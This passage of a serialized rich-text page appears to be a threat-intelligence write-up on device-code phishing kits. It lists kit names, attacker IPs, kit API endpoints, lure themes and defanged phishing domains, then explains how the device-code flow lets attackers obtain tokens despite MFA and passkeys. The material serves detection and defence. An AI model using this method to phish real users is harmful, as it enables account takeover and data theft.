workers.dev hosting",{"data":9898,"content":9899,"nodeType":2400},{},[9900,9910],{"data":9901,"content":9902,"nodeType":2366},{},[9903],{"data":9904,"content":9905,"nodeType":866},{},[9906],{"data":9907,"marks":9908,"value":8961,"nodeType":865},{},[9909],{"type":926},{"data":9911,"content":9912,"nodeType":2366},{},[9913,9924],{"data":9914,"content":9915,"nodeType":866},{},[9916,9920],{"data":9917,"marks":9918,"value":9436,"nodeType":865},{},[9919],{"type":926},{"data":9921,"marks":9922,"value":9923,"nodeType":865},{},[],"144.172.103.240 (FranTech Solutions / RouterHosting / Cloudzy AS14956)",{"data":9925,"content":9926,"nodeType":866},{},[9927,9931],{"data":9928,"marks":9929,"value":9002,"nodeType":865},{},[9930],{"type":926},{"data":9932,"marks":9933,"value":9934,"nodeType":865},{},[]," Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042",{"data":9936,"content":9937,"nodeType":2400},{},[9938,9948],{"data":9939,"content":9940,"nodeType":2366},{},[9941],{"data":9942,"content":9943,"nodeType":866},{},[9944],{"data":9945,"marks":9946,"value":9044,"nodeType":865},{},[9947],{"type":926},{"data":9949,"content":9950,"nodeType":2366},{},[9951,9958,9965],{"data":9952,"content":9953,"nodeType":866},{},[9954],{"data":9955,"marks":9956,"value":9957,"nodeType":865},{},[],"POST /api/v1/landing-pages/public/{slug}/init",{"data":9959,"content":9960,"nodeType":866},{},[9961],{"data":9962,"marks":9963,"value":9964,"nodeType":865},{},[],"POST .../poll",{"data":9966,"content":9967,"nodeType":866},{},[9968],{"data":9969,"marks":9970,"value":9971,"nodeType":865},{},[],"POST .../track",{"data":9973,"content":9974,"nodeType":2400},{},[9975,9985],{"data":9976,"content":9977,"nodeType":2366},{},[9978],{"data":9979,"content":9980,"nodeType":866},{},[9981],{"data":9982,"marks":9983,"value":9096,"nodeType":865},{},[9984],{"type":926},{"data":9986,"content":9987,"nodeType":2366},{},[9988],{"data":9989,"content":9990,"nodeType":866},{},[9991],{"data":9992,"marks":9993,"value":9994,"nodeType":865},{},[],"DocuSign document signing. One sample is a full scrape of real docusign.com (free-account page) with kit injected.",{"data":9996,"content":9997,"nodeType":2400},{},[9998,10008],{"data":9999,"content":10000,"nodeType":2366},{},[10001],{"data":10002,"content":10003,"nodeType":866},{},[10004],{"data":10005,"marks":10006,"value":9319,"nodeType":865},{},[10007],{"type":926},{"data":10009,"content":10010,"nodeType":2366},{},[10011],{"data":10012,"content":10013,"nodeType":866},{},[10014],{"data":10015,"marks":10016,"value":10017,"nodeType":865},{},[],"docufirmar[.]github.io",{"data":10019,"content":10023,"nodeType":912},{"target":10020},{"sys":10021},{"id":10022,"type":909,"linkType":910},"6Y1XABHnQD82R3MW80HnQZ",[],{"data":10025,"content":10026,"nodeType":972},{},[],{"data":10028,"content":10029,"nodeType":1317},{},[10030],{"data":10031,"marks":10032,"value":10034,"nodeType":865},{},[10033],{"type":926},"“FLOW_TOKEN”",{"data":10036,"content":10037,"nodeType":2927},{},[10038,10060,10105,10135,10158],{"data":10039,"content":10040,"nodeType":2400},{},[10041,10051],{"data":10042,"content":10043,"nodeType":2366},{},[10044],{"data":10045,"content":10046,"nodeType":866},{},[10047],{"data":10048,"marks":10049,"value":8937,"nodeType":865},{},[10050],{"type":926},{"data":10052,"content":10053,"nodeType":2366},{},[10054],{"data":10055,"content":10056,"nodeType":866},{},[10057],{"data":10058,"marks":10059,"value":9733,"nodeType":865},{},[],{"data":10061,"content":10062,"nodeType":2400},{},[10063,10073],{"data":10064,"content":10065,"nodeType":2366},{},[10066],{"data":10067,"content":10068,"nodeType":866},{},[10069],{"data":10070,"marks":10071,"value":8961,"nodeType":865},{},[10072],{"type":926},{"data":10074,"content":10075,"nodeType":2366},{},[10076,10087],{"data":10077,"content":10078,"nodeType":866},{},[10079,10083],{"data":10080,"marks":10081,"value":9436,"nodeType":865},{},[10082],{"type":926},{"data":10084,"marks":10085,"value":10086,"nodeType":865},{},[],"43.166.163.163 (Tencent Cloud AS132203)",{"data":10088,"content":10089,"nodeType":866},{},[10090,10094,10097,10101],{"data":10091,"marks":10092,"value":9002,"nodeType":865},{},[10093],{"type":926},{"data":10095,"marks":10096,"value":2688,"nodeType":865},{},[],{"data":10098,"marks":10099,"value":5959,"nodeType":865},{},[10100],{"type":926},{"data":10102,"marks":10103,"value":10104,"nodeType":865},{},[],"(null)",{"data":10106,"content":10107,"nodeType":2400},{},[10108,10118],{"data":10109,"content":10110,"nodeType":2366},{},[10111],{"data":10112,"content":10113,"nodeType":866},{},[10114],{"data":10115,"marks":10116,"value":9044,"nodeType":865},{},[10117],{"type":926},{"data":10119,"content":10120,"nodeType":2366},{},[10121,10128],{"data":10122,"content":10123,"nodeType":866},{},[10124],{"data":10125,"marks":10126,"value":10127,"nodeType":865},{},[],"POST /api/handler.php ",{"data":10129,"content":10130,"nodeType":866},{},[10131],{"data":10132,"marks":10133,"value":10134,"nodeType":865},{},[],"(actions: device_code_generate, device_code_poll_public)",{"data":10136,"content":10137,"nodeType":2400},{},[10138,10148],{"data":10139,"content":10140,"nodeType":2366},{},[10141],{"data":10142,"content":10143,"nodeType":866},{},[10144],{"data":10145,"marks":10146,"value":9096,"nodeType":865},{},[10147],{"type":926},{"data":10149,"content":10150,"nodeType":2366},{},[10151],{"data":10152,"content":10153,"nodeType":866},{},[10154],{"data":10155,"marks":10156,"value":10157,"nodeType":865},{},[],"DocuSign \"Salary Adjustment Document — 2026\", Microsoft banner · HR Department sender",{"data":10159,"content":10160,"nodeType":2400},{},[10161,10171],{"data":10162,"content":10163,"nodeType":2366},{},[10164],{"data":10165,"content":10166,"nodeType":866},{},[10167],{"data":10168,"marks":10169,"value":9319,"nodeType":865},{},[10170],{"type":926},{"data":10172,"content":10173,"nodeType":2366},{},[10174],{"data":10175,"content":10176,"nodeType":866},{},[10177],{"data":10178,"marks":10179,"value":10180,"nodeType":865},{},[],"salaryadjustment-2afb52.pmb6fefc52b3f9aa5c2dbf[.]workers.dev",{"data":10182,"content":10186,"nodeType":912},{"target":10183},{"sys":10184},{"id":10185,"type":909,"linkType":910},"6xiTDHStbiJh7LMhjAZcPd",[],{"data":10188,"content":10189,"nodeType":972},{},[],{"data":10191,"content":10192,"nodeType":1317},{},[10193],{"data":10194,"marks":10195,"value":10197,"nodeType":865},{},[10196],{"type":926},"“PAPRIKA”",{"data":10199,"content":10200,"nodeType":2927},{},[10201,10224,10247,10270],{"data":10202,"content":10203,"nodeType":2400},{},[10204,10214],{"data":10205,"content":10206,"nodeType":2366},{},[10207],{"data":10208,"content":10209,"nodeType":866},{},[10210],{"data":10211,"marks":10212,"value":8937,"nodeType":865},{},[10213],{"type":926},{"data":10215,"content":10216,"nodeType":2366},{},[10217],{"data":10218,"content":10219,"nodeType":866},{},[10220],{"data":10221,"marks":10222,"value":10223,"nodeType":865},{},[],"AWS S3 hosting",{"data":10225,"content":10226,"nodeType":2400},{},[10227,10237],{"data":10228,"content":10229,"nodeType":2366},{},[10230],{"data":10231,"content":10232,"nodeType":866},{},[10233],{"data":10234,"marks":10235,"value":9044,"nodeType":865},{},[10236],{"type":926},{"data":10238,"content":10239,"nodeType":2366},{},[10240],{"data":10241,"content":10242,"nodeType":866},{},[10243],{"data":10244,"marks":10245,"value":10246,"nodeType":865},{},[],"POST /api/v1/loader",{"data":10248,"content":10249,"nodeType":2400},{},[10250,10260],{"data":10251,"content":10252,"nodeType":2366},{},[10253],{"data":10254,"content":10255,"nodeType":866},{},[10256],{"data":10257,"marks":10258,"value":9096,"nodeType":865},{},[10259],{"type":926},{"data":10261,"content":10262,"nodeType":2366},{},[10263],{"data":10264,"content":10265,"nodeType":866},{},[10266],{"data":10267,"marks":10268,"value":10269,"nodeType":865},{},[],"MS login clone (\"Sign in to your account\"), \"Office 365\" branding, fake \"Powered by Okta\" footer",{"data":10271,"content":10272,"nodeType":2400},{},[10273,10283],{"data":10274,"content":10275,"nodeType":2366},{},[10276],{"data":10277,"content":10278,"nodeType":866},{},[10279],{"data":10280,"marks":10281,"value":9319,"nodeType":865},{},[10282],{"type":926},{"data":10284,"content":10285,"nodeType":2366},{},[10286],{"data":10287,"content":10288,"nodeType":866},{},[10289],{"data":10290,"marks":10291,"value":10292,"nodeType":865},{},[],"redirect-523346-d95027ec[.]s3.amazonaws.com",{"data":10294,"content":10298,"nodeType":912},{"target":10295},{"sys":10296},{"id":10297,"type":909,"linkType":910},"6WFXqUDzcJHKWSwVIcDZAf",[],{"data":10300,"content":10301,"nodeType":972},{},[],{"data":10303,"content":10304,"nodeType":1317},{},[10305],{"data":10306,"marks":10307,"value":10309,"nodeType":865},{},[10308],{"type":926},"“DCSTATUS”",{"data":10311,"content":10312,"nodeType":2927},{},[10313,10335,10358,10381],{"data":10314,"content":10315,"nodeType":2400},{},[10316,10326],{"data":10317,"content":10318,"nodeType":2366},{},[10319],{"data":10320,"content":10321,"nodeType":866},{},[10322],{"data":10323,"marks":10324,"value":8937,"nodeType":865},{},[10325],{"type":926},{"data":10327,"content":10328,"nodeType":2366},{},[10329],{"data":10330,"content":10331,"nodeType":866},{},[10332],{"data":10333,"marks":10334,"value":9220,"nodeType":865},{},[],{"data":10336,"content":10337,"nodeType":2400},{},[10338,10348],{"data":10339,"content":10340,"nodeType":2366},{},[10341],{"data":10342,"content":10343,"nodeType":866},{},[10344],{"data":10345,"marks":10346,"value":9044,"nodeType":865},{},[10347],{"type":926},{"data":10349,"content":10350,"nodeType":2366},{},[10351],{"data":10352,"content":10353,"nodeType":866},{},[10354],{"data":10355,"marks":10356,"value":10357,"nodeType":865},{},[],"GET /dc/status/{base64url_sid}",{"data":10359,"content":10360,"nodeType":2400},{},[10361,10371],{"data":10362,"content":10363,"nodeType":2366},{},[10364],{"data":10365,"content":10366,"nodeType":866},{},[10367],{"data":10368,"marks":10369,"value":9096,"nodeType":865},{},[10370],{"type":926},{"data":10372,"content":10373,"nodeType":2366},{},[10374],{"data":10375,"content":10376,"nodeType":866},{},[10377],{"data":10378,"marks":10379,"value":10380,"nodeType":865},{},[],"Generic \"Microsoft 365 - Secure Access\" verification page",{"data":10382,"content":10383,"nodeType":2400},{},[10384,10394],{"data":10385,"content":10386,"nodeType":2366},{},[10387],{"data":10388,"content":10389,"nodeType":866},{},[10390],{"data":10391,"marks":10392,"value":9319,"nodeType":865},{},[10393],{"type":926},{"data":10395,"content":10396,"nodeType":2366},{},[10397],{"data":10398,"content":10399,"nodeType":866},{},[10400],{"data":10401,"marks":10402,"value":10403,"nodeType":865},{},[],"owa[.]apmmacleans[.]ca",{"data":10405,"content":10409,"nodeType":912},{"target":10406},{"sys":10407},{"id":10408,"type":909,"linkType":910},"ugYhHeXY1lQdKooALmrIs",[],{"data":10411,"content":10412,"nodeType":972},{},[],{"data":10414,"content":10415,"nodeType":1317},{},[10416],{"data":10417,"marks":10418,"value":10420,"nodeType":865},{},[10419],{"type":926},"“DOLCE”",{"data":10422,"content":10426,"nodeType":912},{"target":10423},{"sys":10424},{"id":10425,"type":909,"linkType":910},"7TzU6kk01Un45NB0buEz2",[],{"data":10428,"content":10429,"nodeType":2927},{},[10430,10453,10491,10514,10537],{"data":10431,"content":10432,"nodeType":2400},{},[10433,10443],{"data":10434,"content":10435,"nodeType":2366},{},[10436],{"data":10437,"content":10438,"nodeType":866},{},[10439],{"data":10440,"marks":10441,"value":8937,"nodeType":865},{},[10442],{"type":926},{"data":10444,"content":10445,"nodeType":2366},{},[10446],{"data":10447,"content":10448,"nodeType":866},{},[10449],{"data":10450,"marks":10451,"value":10452,"nodeType":865},{},[],"Microsoft PowerApps hosting",{"data":10454,"content":10455,"nodeType":2400},{},[10456,10466],{"data":10457,"content":10458,"nodeType":2366},{},[10459],{"data":10460,"content":10461,"nodeType":866},{},[10462],{"data":10463,"marks":10464,"value":8961,"nodeType":865},{},[10465],{"type":926},{"data":10467,"content":10468,"nodeType":2366},{},[10469,10480],{"data":10470,"content":10471,"nodeType":866},{},[10472,10476],{"data":10473,"marks":10474,"value":9436,"nodeType":865},{},[10475],{"type":926},{"data":10477,"marks":10478,"value":10479,"nodeType":865},{},[],"34.53.159.84 (Google Cloud AS396982)",{"data":10481,"content":10482,"nodeType":866},{},[10483,10487],{"data":10484,"marks":10485,"value":9002,"nodeType":865},{},[10486],{"type":926},{"data":10488,"marks":10489,"value":10490,"nodeType":865},{},[]," Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36",{"data":10492,"content":10493,"nodeType":2400},{},[10494,10504],{"data":10495,"content":10496,"nodeType":2366},{},[10497],{"data":10498,"content":10499,"nodeType":866},{},[10500],{"data":10501,"marks":10502,"value":9044,"nodeType":865},{},[10503],{"type":926},{"data":10505,"content":10506,"nodeType":2366},{},[10507],{"data":10508,"content":10509,"nodeType":866},{},[10510],{"data":10511,"marks":10512,"value":10513,"nodeType":865},{},[],"GET /api/generatecode (CloudFront)",{"data":10515,"content":10516,"nodeType":2400},{},[10517,10527],{"data":10518,"content":10519,"nodeType":2366},{},[10520],{"data":10521,"content":10522,"nodeType":866},{},[10523],{"data":10524,"marks":10525,"value":9096,"nodeType":865},{},[10526],{"type":926},{"data":10528,"content":10529,"nodeType":2366},{},[10530],{"data":10531,"content":10532,"nodeType":866},{},[10533],{"data":10534,"marks":10535,"value":10536,"nodeType":865},{},[],"Dolce & Gabbana branded, Italian language, MS account verification",{"data":10538,"content":10539,"nodeType":2400},{},[10540,10550],{"data":10541,"content":10542,"nodeType":2366},{},[10543],{"data":10544,"content":10545,"nodeType":866},{},[10546],{"data":10547,"marks":10548,"value":9319,"nodeType":865},{},[10549],{"type":926},{"data":10551,"content":10552,"nodeType":2366},{},[10553],{"data":10554,"content":10555,"nodeType":866},{},[10556],{"data":10557,"marks":10558,"value":10559,"nodeType":865},{},[],"data-migration-dolcegabbana[.]powerappsportals.com",{"data":10561,"content":10565,"nodeType":912},{"target":10562},{"sys":10563},{"id":10564,"type":909,"linkType":910},"4ayQDvpf5NNOBrj9wZZRiO",[],{"data":10567,"content":10568,"nodeType":972},{},[],{"data":10570,"content":10571,"nodeType":1317},{},[10572],{"data":10573,"marks":10574,"value":10576,"nodeType":865},{},[10575],{"type":926},"Venom",{"data":10578,"content":10579,"nodeType":2927},{},[10580,10603],{"data":10581,"content":10582,"nodeType":2400},{},[10583,10593],{"data":10584,"content":10585,"nodeType":2366},{},[10586],{"data":10587,"content":10588,"nodeType":866},{},[10589],{"data":10590,"marks":10591,"value":9044,"nodeType":865},{},[10592],{"type":926},{"data":10594,"content":10595,"nodeType":2366},{},[10596],{"data":10597,"content":10598,"nodeType":866},{},[10599],{"data":10600,"marks":10601,"value":10602,"nodeType":865},{},[],"POST /token/api/device/start\nGET /token/api/device/status/{sessionId}",{"data":10604,"content":10605,"nodeType":2400},{},[10606,10616],{"data":10607,"content":10608,"nodeType":2366},{},[10609],{"data":10610,"content":10611,"nodeType":866},{},[10612],{"data":10613,"marks":10614,"value":9096,"nodeType":865},{},[10615],{"type":926},{"data":10617,"content":10618,"nodeType":2366},{},[10619],{"data":10620,"content":10621,"nodeType":866},{},[10622],{"data":10623,"marks":10624,"value":10625,"nodeType":865},{},[],"Various: examples include DocuSign \"Verification\" (Microsoft sign-in pretext); DHL \"Delivery Checkpoint\" package shipment pretext",{"data":10627,"content":10631,"nodeType":912},{"target":10628},{"sys":10629},{"id":10630,"type":909,"linkType":910},"79C3fces0hgTdf3G68cIrf",[],{"data":10633,"content":10634,"nodeType":972},{},[],{"data":10636,"content":10637,"nodeType":1317},{},[10638],{"data":10639,"marks":10640,"value":10642,"nodeType":865},{},[10641],{"type":926},"Tycoon2FA",{"data":10644,"content":10645,"nodeType":2927},{},[10646,10676,10713,10736,10759],{"data":10647,"content":10648,"nodeType":2400},{},[10649,10659],{"data":10650,"content":10651,"nodeType":2366},{},[10652],{"data":10653,"content":10654,"nodeType":866},{},[10655],{"data":10656,"marks":10657,"value":8937,"nodeType":865},{},[10658],{"type":926},{"data":10660,"content":10661,"nodeType":2366},{},[10662,10669],{"data":10663,"content":10664,"nodeType":866},{},[10665],{"data":10666,"marks":10667,"value":10668,"nodeType":865},{},[],"Github.io and Cloudflare Workers (workers.dev) hosting",{"data":10670,"content":10671,"nodeType":866},{},[10672],{"data":10673,"marks":10674,"value":10675,"nodeType":865},{},[],"Compromised-site landing pages and CF Workers (*.workers.dev) used as frontends; victim email passed in URL as last path segment ($base64) or ?acct/?encoded query",{"data":10677,"content":10678,"nodeType":2400},{},[10679,10689],{"data":10680,"content":10681,"nodeType":2366},{},[10682],{"data":10683,"content":10684,"nodeType":866},{},[10685],{"data":10686,"marks":10687,"value":8961,"nodeType":865},{},[10688],{"type":926},{"data":10690,"content":10691,"nodeType":2366},{},[10692,10703],{"data":10693,"content":10694,"nodeType":866},{},[10695,10699],{"data":10696,"marks":10697,"value":9436,"nodeType":865},{},[10698],{"type":926},{"data":10700,"marks":10701,"value":10702,"nodeType":865},{},[],"47.253.5.88 (Alibaba Cloud)",{"data":10704,"content":10705,"nodeType":866},{},[10706,10710],{"data":10707,"marks":10708,"value":9002,"nodeType":865},{},[10709],{"type":926},{"data":10711,"marks":10712,"value":9259,"nodeType":865},{},[],{"data":10714,"content":10715,"nodeType":2400},{},[10716,10726],{"data":10717,"content":10718,"nodeType":2366},{},[10719],{"data":10720,"content":10721,"nodeType":866},{},[10722],{"data":10723,"marks":10724,"value":9044,"nodeType":865},{},[10725],{"type":926},{"data":10727,"content":10728,"nodeType":2366},{},[10729],{"data":10730,"content":10731,"nodeType":866},{},[10732],{"data":10733,"marks":10734,"value":10735,"nodeType":865},{},[],"GET /api/session/{UUIDv4} polled with header X-API-Key: \u003Cprefix>_\u003C64-hex> (key materialised at runtime via atob(window.__cyb3r.k)) \nPOST /api/device-code with body {\"prt_foci_session_id\": \"\u003CUUID>\"} (second-stage code retrieval after initial session error)",{"data":10737,"content":10738,"nodeType":2400},{},[10739,10749],{"data":10740,"content":10741,"nodeType":2366},{},[10742],{"data":10743,"content":10744,"nodeType":866},{},[10745],{"data":10746,"marks":10747,"value":9096,"nodeType":865},{},[10748],{"type":926},{"data":10750,"content":10751,"nodeType":2366},{},[10752],{"data":10753,"content":10754,"nodeType":866},{},[10755],{"data":10756,"marks":10757,"value":10758,"nodeType":865},{},[],"Various: SharePoint \"Remittance Advice\"; Microsoft 365 generic sign-in; Microsoft 365 Voicemail (.mp3 attachment); OneDrive \"Shared file\"; German \"Sicheres Dokumentenportal\" PDF lure",{"data":10760,"content":10761,"nodeType":2400},{},[10762,10772],{"data":10763,"content":10764,"nodeType":2366},{},[10765],{"data":10766,"content":10767,"nodeType":866},{},[10768],{"data":10769,"marks":10770,"value":9319,"nodeType":865},{},[10771],{"type":926},{"data":10773,"content":10774,"nodeType":2366},{},[10775],{"data":10776,"content":10777,"nodeType":866},{},[10778],{"data":10779,"marks":10780,"value":10781,"nodeType":865},{},[],"afriqbeauglobal[.]com/homepage/index[.]html",{"data":10783,"content":10786,"nodeType":912},{"target":10784},{"sys":10785},{"id":7334,"type":909,"linkType":910},[],{"data":10788,"content":10789,"nodeType":972},{},[],{"data":10791,"content":10792,"nodeType":1317},{},[10793],{"data":10794,"marks":10795,"value":10797,"nodeType":865},{},[10796],{"type":926},"\"CYB3R\"",{"data":10799,"content":10800,"nodeType":2927},{},[10801,10824,10862,10884,10907],{"data":10802,"content":10803,"nodeType":2400},{},[10804,10814],{"data":10805,"content":10806,"nodeType":2366},{},[10807],{"data":10808,"content":10809,"nodeType":866},{},[10810],{"data":10811,"marks":10812,"value":8937,"nodeType":865},{},[10813],{"type":926},{"data":10815,"content":10816,"nodeType":2366},{},[10817],{"data":10818,"content":10819,"nodeType":866},{},[10820],{"data":10821,"marks":10822,"value":10823,"nodeType":865},{},[],"Cloudflare Workers (workers.dev) hosting",{"data":10825,"content":10826,"nodeType":2400},{},[10827,10837],{"data":10828,"content":10829,"nodeType":2366},{},[10830],{"data":10831,"content":10832,"nodeType":866},{},[10833],{"data":10834,"marks":10835,"value":8961,"nodeType":865},{},[10836],{"type":926},{"data":10838,"content":10839,"nodeType":2366},{},[10840,10851],{"data":10841,"content":10842,"nodeType":866},{},[10843,10847],{"data":10844,"marks":10845,"value":9436,"nodeType":865},{},[10846],{"type":926},{"data":10848,"marks":10849,"value":10850,"nodeType":865},{},[],"2400:8d60:2::1:c116:843e (Evoxt VPS)",{"data":10852,"content":10853,"nodeType":866},{},[10854,10858],{"data":10855,"marks":10856,"value":9002,"nodeType":865},{},[10857],{"type":926},{"data":10859,"marks":10860,"value":10861,"nodeType":865},{},[]," axios/1.13.6",{"data":10863,"content":10864,"nodeType":2400},{},[10865,10875],{"data":10866,"content":10867,"nodeType":2366},{},[10868],{"data":10869,"content":10870,"nodeType":866},{},[10871],{"data":10872,"marks":10873,"value":9044,"nodeType":865},{},[10874],{"type":926},{"data":10876,"content":10877,"nodeType":2366},{},[10878],{"data":10879,"content":10880,"nodeType":866},{},[10881],{"data":10882,"marks":10883,"value":10735,"nodeType":865},{},[],{"data":10885,"content":10886,"nodeType":2400},{},[10887,10897],{"data":10888,"content":10889,"nodeType":2366},{},[10890],{"data":10891,"content":10892,"nodeType":866},{},[10893],{"data":10894,"marks":10895,"value":9096,"nodeType":865},{},[10896],{"type":926},{"data":10898,"content":10899,"nodeType":2366},{},[10900],{"data":10901,"content":10902,"nodeType":866},{},[10903],{"data":10904,"marks":10905,"value":10906,"nodeType":865},{},[],"DocuSign in Spanish (\"Documento Firmar — COTIZACIÓN/ESTIMACIÓN.pdf\", \"Complete su firma\", \"Verifique su identidad\", \"Continuar a Microsoft\").",{"data":10908,"content":10909,"nodeType":2400},{},[10910,10920],{"data":10911,"content":10912,"nodeType":2366},{},[10913],{"data":10914,"content":10915,"nodeType":866},{},[10916],{"data":10917,"marks":10918,"value":9319,"nodeType":865},{},[10919],{"type":926},{"data":10921,"content":10922,"nodeType":2366},{},[10923],{"data":10924,"content":10925,"nodeType":866},{},[10926],{"data":10927,"marks":10928,"value":10929,"nodeType":865},{},[],"muzagestion[.]secure-share[.]workers.dev",{"data":10931,"content":10935,"nodeType":912},{"target":10932},{"sys":10933},{"id":10934,"type":909,"linkType":910},"5EU0QNteiQcYybKG1W1cS3",[],{"data":10937,"content":10938,"nodeType":972},{},[],{"data":10940,"content":10941,"nodeType":981},{},[10942],{"data":10943,"marks":10944,"value":10946,"nodeType":865},{},[10945],{"type":926},"Device code phishing under the hood",{"data":10948,"content":10949,"nodeType":866},{},[10950,10954],{"data":10951,"marks":10952,"value":10953,"nodeType":865},{},[],"The attacker POSTs to the authorization server's device authorization endpoint with its client_id (i.e. an application ID) and requested scopes or resources. The server responds with a device_code (used for polling), a user_code, a verification_uri, an expires_in value, and a polling interval. The user visits the URL, enters the code and approves the request. Meanwhile, the device polls the token endpoint. Once approved, the server returns an access token, a refresh token (if offline_access was requested), and an ID token (if openid was included). ",{"data":10955,"marks":10956,"value":10958,"nodeType":865},{},[10957],{"type":926},"The attacker now has API access to the victim's account. ",{"data":10960,"content":10961,"nodeType":866},{},[10962],{"data":10963,"marks":10964,"value":10965,"nodeType":865},{},[],"Broadly, this gives the attacker a comparable level of control to a “normal” phishing attack (with conditions based on the scopes granted and specific app being targeted) while API access grants additional capabilities beyond standard browser sessions. When combined with other techniques, this access can be exchanged to open normal browser app sessions and access SSO connected apps.",{"data":10967,"content":10971,"nodeType":912},{"target":10968},{"sys":10969},{"id":10970,"type":909,"linkType":910},"4WtQR2xsE236yoyhSXj58Z",[],{"data":10973,"content":10977,"nodeType":912},{"target":10974},{"sys":10975},{"id":10976,"type":909,"linkType":910},"1x7Lip7JdY2xlHKKurT7qJ",[],{"data":10979,"content":10980,"nodeType":866},{},[10981],{"data":10982,"marks":10983,"value":10984,"nodeType":865},{},[],"At this point, you can achieve a number of objectives both inside the app ecosystem and across SSO connected apps — e.g. data theft, disruption, and ultimately extortion.",{"data":10986,"content":10987,"nodeType":866},{},[10988,10992,10997,11001],{"data":10989,"marks":10990,"value":10991,"nodeType":865},{},[],"Critically, the initial request to generate a device code is typically ",{"data":10993,"marks":10994,"value":10996,"nodeType":865},{},[10995],{"type":926},"unauthenticated",{"data":10998,"marks":10999,"value":11000,"nodeType":865},{},[]," across all providers — ",{"data":11002,"marks":11003,"value":11005,"nodeType":865},{},[11004],{"type":926},"anyone can generate one, from any machine, without proving any relationship to the target organization.",{"data":11007,"content":11008,"nodeType":866},{},[11009,11013,11018],{"data":11010,"marks":11011,"value":11012,"nodeType":865},{},[],"So, the attacker has to deliver a set of instructions via a phishing channel (e.g. email, social media DM, corp IM platform, and so on) with a device code that they have generated. The victim then enters this code on the ",{"data":11014,"marks":11015,"value":11017,"nodeType":865},{},[11016],{"type":926},"legitimate device code login page",{"data":11019,"marks":11020,"value":11021,"nodeType":865},{},[]," for that app and issues the tokens to the attacker.",{"data":11023,"content":11027,"nodeType":912},{"target":11024},{"sys":11025},{"id":11026,"type":909,"linkType":910},"1txUYuQjH9FlbDGTo8AbZB",[],{"data":11029,"content":11030,"nodeType":972},{},[],{"data":11032,"content":11033,"nodeType":981},{},[11034],{"data":11035,"marks":11036,"value":11038,"nodeType":865},{},[11037],{"type":926},"Why device code phishing is so dangerous",{"data":11040,"content":11041,"nodeType":1317},{},[11042],{"data":11043,"marks":11044,"value":11046,"nodeType":865},{},[11045],{"type":926},"Device code phishing bypasses authentication controls (including passkeys)",{"data":11048,"content":11049,"nodeType":866},{},[11050,11054,11059,11063],{"data":11051,"marks":11052,"value":11053,"nodeType":865},{},[],"A device code phishing attack ",{"data":11055,"marks":11056,"value":11058,"nodeType":865},{},[11057],{"type":926},"cannot be prevented with authentication controls",{"data":11060,"marks":11061,"value":11062,"nodeType":865},{},[],". This includes all forms of MFA and ",{"data":11064,"marks":11065,"value":11067,"nodeType":865},{},[11066],{"type":926},"even “phishing-resistant” authentication methods such as passkeys. ",{"data":11069,"content":11070,"nodeType":866},{},[11071,11076,11080,11085],{"data":11072,"marks":11073,"value":11075,"nodeType":865},{},[11074],{"type":926},"The device code authorization is effectively performed post-authentication. ",{"data":11077,"marks":11078,"value":11079,"nodeType":865},{},[],"If you already have an active session in your browser, entering the device code and selecting your account from a drop-down menu is all that's needed. ",{"data":11081,"marks":11082,"value":11084,"nodeType":865},{},[11083],{"type":926},"No password or MFA required. ",{"data":11086,"marks":11087,"value":11088,"nodeType":865},{},[],"You can see an example in the video below.",{"data":11090,"content":11093,"nodeType":912},{"target":11091},{"sys":11092},{"id":10022,"type":909,"linkType":910},[],{"data":11095,"content":11096,"nodeType":866},{},[11097],{"data":11098,"marks":11099,"value":11100,"nodeType":865},{},[],"Even if you do have to sign in again (because you're not already signed in for some reason), the attack still works because it isn't targeting the login — it's targeting the authorization layer instead.",{"data":11102,"content":11103,"nodeType":866},{},[11104],{"data":11105,"marks":11106,"value":11107,"nodeType":865},{},[],"This is what makes device code phishing different to other standard phishing methods like AiTM phishing (and arguably even more effective in environments with strict identity control enforcement). ",{"data":11109,"content":11110,"nodeType":1317},{},[11111],{"data":11112,"marks":11113,"value":11115,"nodeType":865},{},[11114],{"type":926},"Device code logins are a feature, not a vulnerability, making attacks difficult to block",{"data":11117,"content":11118,"nodeType":866},{},[11119],{"data":11120,"marks":11121,"value":11122,"nodeType":865},{},[],"Device code authorization is a legitimate mechanism regularly used in enterprise environments, particularly for CLI logins. Tools like Azure CLI, GitHub CLI, and AWS CLI all use (or have used) the device code flow as a primary or fallback authentication method. This creates a dual problem for defenders. ",{"data":11124,"content":11125,"nodeType":866},{},[11126],{"data":11127,"marks":11128,"value":11129,"nodeType":865},{},[],"First, the phishing attack happens entirely on a legitimate site — there's no fake login page, no malicious payload to scan for, and the URL in the browser is genuine. Since there's no traditional phishing content being delivered, these attacks are more resistant to detection by email and network security tools.",{"data":11131,"content":11132,"nodeType":866},{},[11133],{"data":11134,"marks":11135,"value":11136,"nodeType":865},{},[],"Second, the widespread legitimate use of device code flow — particularly among developers and technical users — normalizes the experience of entering device codes. A phishing lure asking them to do the same thing is indistinguishable from a legitimate IT request. And for non-technical users, this experience isn't much different to, for example, entering a code sent via email or authenticator app. ",{"data":11138,"content":11139,"nodeType":1317},{},[11140],{"data":11141,"marks":11142,"value":11144,"nodeType":865},{},[11143],{"type":926},"Multiple apps are vulnerable, with different risk profiles",{"data":11146,"content":11147,"nodeType":866},{},[11148],{"data":11149,"marks":11150,"value":11151,"nodeType":865},{},[],"Various apps implement the device code flow, each with different levels of control and default security, but the risk is not uniform across platforms. ",{"data":11153,"content":11154,"nodeType":1616},{},[11155,11170,11184],{"data":11156,"content":11157,"nodeType":1570},{},[11158],{"data":11159,"content":11160,"nodeType":866},{},[11161,11166],{"data":11162,"marks":11163,"value":11165,"nodeType":865},{},[11164],{"type":926},"Google Workspace ",{"data":11167,"marks":11168,"value":11169,"nodeType":865},{},[],"is a significantly lower-risk target because Google explicitly limits which scopes are available to the device code flow — Gmail, Calendar, and most Workspace APIs are simply unavailable through this mechanism. ",{"data":11171,"content":11172,"nodeType":1570},{},[11173],{"data":11174,"content":11175,"nodeType":866},{},[11176,11180],{"data":11177,"marks":11178,"value":8641,"nodeType":865},{},[11179],{"type":926},{"data":11181,"marks":11182,"value":11183,"nodeType":865},{},[]," offers the broadest attack surface due to unrestricted scopes, reusable first-party client IDs, and the FOCI/PRT escalation paths. ",{"data":11185,"content":11186,"nodeType":1570},{},[11187],{"data":11188,"content":11189,"nodeType":866},{},[11190,11194,11199],{"data":11191,"marks":11192,"value":11193,"nodeType":865},{},[],"Apps like 